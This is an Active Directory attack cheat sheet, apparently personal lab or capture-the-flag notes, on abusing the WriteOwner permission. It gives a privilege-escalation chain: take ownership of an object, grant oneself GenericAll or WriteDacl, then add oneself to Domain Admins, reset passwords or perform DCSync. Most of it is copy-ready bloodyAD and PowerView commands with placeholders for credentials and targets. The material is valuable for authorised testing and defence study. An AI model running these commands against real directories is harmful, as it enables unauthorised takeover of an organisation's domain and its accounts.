WriteOwner — AD Permission Abuse
Ctrl+F:
WriteOwner·set owner·Owns
WriteOwner lets you change the owner of an AD object. Owners can modify the object’s DACL — classic two-step privesc.
Owned User
│
WriteOwner
▼
Target ObjectYour first thought:
“Make myself owner → grant myself GenericAll / WriteDacl → abuse object.”
BloodHound Owns edge ≈ you are already owner (skip step 1).
📌 Two-step chain
1. WriteOwner → set owner to yourself
2. As owner → grant GenericAll / WriteDacl / DCSync (see [[WriteDacl]])
3. Abuse object → password reset / group join / DCSync (see [[GenericAll]])
📌 Execute — Linux (bloodyAD)
# Step 1 — become owner
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' \
set owner "CN=Domain Admins,CN=Users,DC=domain,DC=htb" user
# Step 2 — grant yourself rights (now owner / WriteDacl equivalent)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add genericAll "Domain Admins" user
# Step 3 — abuse (example: join DA)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" user→ bloodyAD > 📌 4) set — Modify Attributes · bloodyAD > add genericAll
📌 Execute — Windows (PowerView)
Import-Module .\PowerView.ps1
# Step 1 — take ownership
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity jsmith
# Step 2 — grant rights
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All
# Step 3 — add to group
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith→ PowerView > 📌 5) ACL / Permission Abuse · Bloodhound + Sharphound > WriteOwner
📌 Target → end goal
| Target | After owning + ACL grant |
|---|---|
| Privileged group | AddMember → inherit group rights |
| User | ForceChangePassword / GenericAll |
| Domain | WriteDacl → DCSync |
| Certificate template | AD CS Permissions → ESC4 |
📌 Quick cheat sheet
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set owner "TARGET_DN" user
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add genericAll "Domain Admins" userSet-DomainObjectOwner -Identity TARGET -OwnerIdentity jsmith
Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity jsmith -Rights All